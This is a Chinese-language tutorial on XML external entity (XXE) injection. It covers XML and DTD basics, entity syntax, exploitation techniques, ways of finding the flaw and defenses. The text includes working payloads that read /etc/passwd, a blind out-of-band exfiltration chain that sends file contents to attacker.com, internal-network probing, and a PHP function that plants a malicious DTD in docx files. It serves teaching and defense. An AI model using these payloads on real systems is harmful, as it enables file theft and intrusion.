XML外部实体注入小结
字数 1865 2025-08-29 08:32:25
XML外部实体注入(XXE)漏洞全面解析与防御指南
1. XML基础概念
1.1 XML与HTML的区别
- 用途差异:HTML用于表现数据(关注表现形式),XML用于存储和传输数据(关注数据本身)
- 标签定义:HTML标签是预定义的,XML标签是自定义的
- 语法严格性:XML语法更严格,要求:
- 标签必须闭合且正确嵌套
- 大小写敏感
- 属性值必须加引号
- 保留连续空白符
1.2 XML文档声明
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
- 称为XML prolog,声明XML版本和编码
standalone="yes"表示DTD仅用于验证文档结构(可能禁用外部实体)- 默认值为
no,且某些解析器会忽略此项
2. DTD(文档类型定义)
2.1 DTD的作用
- 定义合法的XML元素/属性及其嵌套关系
- 定义实体引用(类似宏定义和文件包含)
2.2 DTD的两种形式
<!-- 内部DTD -->
<!DOCTYPE 根元素 [元素声明]>
<!-- 外部DTD -->
<!DOCTYPE 根元素 SYSTEM "文件URI(本地或网络)">
<!DOCTYPE 根元素 PUBLIC "PUBLIC_ID DTD名称" "外部DTD文件URI">
3. 实体(ENTITY)类型
3.1 分类维度
-
按位置:
- 内部实体:定义在XML文档内部
- 外部实体:引用外部资源
-
按类型:
- 普通实体
- 参数实体
3.2 实体声明语法
<!-- 内部普通实体 -->
<!ENTITY 实体名 "字符串">
<!-- 外部普通实体 -->
<!ENTITY 实体名 SYSTEM "URI">
<!-- 内部参数实体 -->
<!ENTITY % 实体名 "字符串">
<!-- 外部参数实体 -->
<!ENTITY % 实体名 SYSTEM "URI">
3.3 实体引用方式
- 普通实体:
&实体名;(可在DTD和XML中引用) - 参数实体:
%实体名;(只能在DTD中引用)
4. XXE漏洞危害
- 本地文件读取:通过
file://协议读取系统文件 - 内网探测:扫描内网主机和端口
- 网络访问:发起外部网络请求
- 命令执行:通过特定协议(如PHP的expect)执行系统命令
- 拒绝服务:通过实体嵌套引用造成指数爆炸攻击
5. XXE攻击技术
5.1 基本利用方式
5.1.1 利用外部DTD发起网络请求
<!DOCTYPE note SYSTEM "http://attacker.com/evil.dtd">
5.1.2 普通XXE读取文件
<!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc/passwd">]>
<c>&b;</c>
5.1.3 参数XXE读取文件
<!DOCTYPE a [<!ENTITY % b SYSTEM "http://attacker.com/evil.txt">%b;]>
<c>&d;</c>
(evil.txt内容: <!ENTITY d SYSTEM "file:///etc/passwd">)
5.2 盲注XXE(无回显)
利用外部参数实体将数据外带:
<!DOCTYPE a [<!ENTITY % xxe SYSTEM "http://attacker.com/xxe.txt">%xxe;]>
(xxe.txt内容示例):
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % x '<!ENTITY % send SYSTEM "http://attacker.com/?data=%file;">'>
%x;
%send;
5.3 协议支持
不同语言/环境支持的协议可能不同,常见的有:
file://- 读取本地文件http://- HTTP请求ftp://- FTP协议php://- PHP特定协议expect://- 执行系统命令(PHP)
6. 真实案例分析
6.1 常见攻击场景
- 在线文件预览:修改docx等文档中的XML内容
- 直接处理POST XML数据:如
simplexml_load_string处理用户输入 - XML处理工具:格式化/检查工具中的漏洞
- RSS/OPML导入:博客搬家、RSS订阅等功能
- Web服务框架:如XFire、Slim框架中的XXE
6.2 典型案例
- 网易/QQ邮箱XXE漏洞(读取任意文件)
- 中通快递XXE漏洞(读取服务器文件)
- 百度/搜狗平台XXE漏洞(SSRF/命令执行)
- 用友HR软件XXE漏洞(全版本受影响)
- Facebook OpenID XXE漏洞
7. XXE漏洞发现
7.1 注入测试字符
尝试注入以下字符观察响应:
- 单双引号
' " - 尖括号
< > - 注释符
<!-- &符号- CDATA分隔符
]]>
7.2 探测技术
-
引用外部DTD探测内网:
<!DOCTYPE a SYSTEM "http://192.168.1.1:80">(通过响应时间判断端口开放情况)
-
尝试读取已知文件:
<!ENTITY xxe SYSTEM "file:///etc/passwd"> -
盲注探测:
<!ENTITY % xxe SYSTEM "http://attacker.com">
8. 恶意文档生成
8.1 手动方法
- 解压docx文件
- 修改
word/document.xml添加恶意DTD - 重新压缩为docx(使用仅存储方式)
8.2 自动化脚本(PHP示例)
function poisonWord($filename, $flag, $dtd, $entity_reference) {
$zip = new ZipArchive();
$zip->open($filename);
$xml = $zip->getFromName('word/document.xml');
$prolog = '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>';
$evilxml = str_replace([$prolog, $flag], [$prolog.$dtd, $flag.$entity_reference], $xml);
$zip->deleteName('word/document.xml');
$zip->addFromString("word/document.xml", $evilxml);
$zip->close();
}
9. 防御措施
9.1 最佳实践
- 彻底禁用DTD:最有效的防御方式
- 禁用外部实体:
- PHP:
libxml_disable_entity_loader(true); - Java: 设置
DocumentBuilderFactory相关属性
- PHP:
- 输入验证:严格过滤用户提供的XML数据
9.2 其他措施
- 使用较新版本的libxml2(2.9.1+有改进)
- 对XML解析器进行安全配置
- 实施网络层防护,限制出站连接
10. 补充说明
- PHP版本误区:XXE与PHP版本无关,与编译时的libxml库版本有关
- libxml2版本安全改进:
- v2.9.5: 检测参数实体无限递归
- v2.9.2: 修复CVE-2014-3660(十亿笑攻击变种)
- v2.9.0: 默认不获取外部解析实体
通过全面理解XXE漏洞的原理、利用方式和防御措施,可以有效防范这类安全问题。在实际开发中,应特别注意处理用户提供的XML数据时的安全性。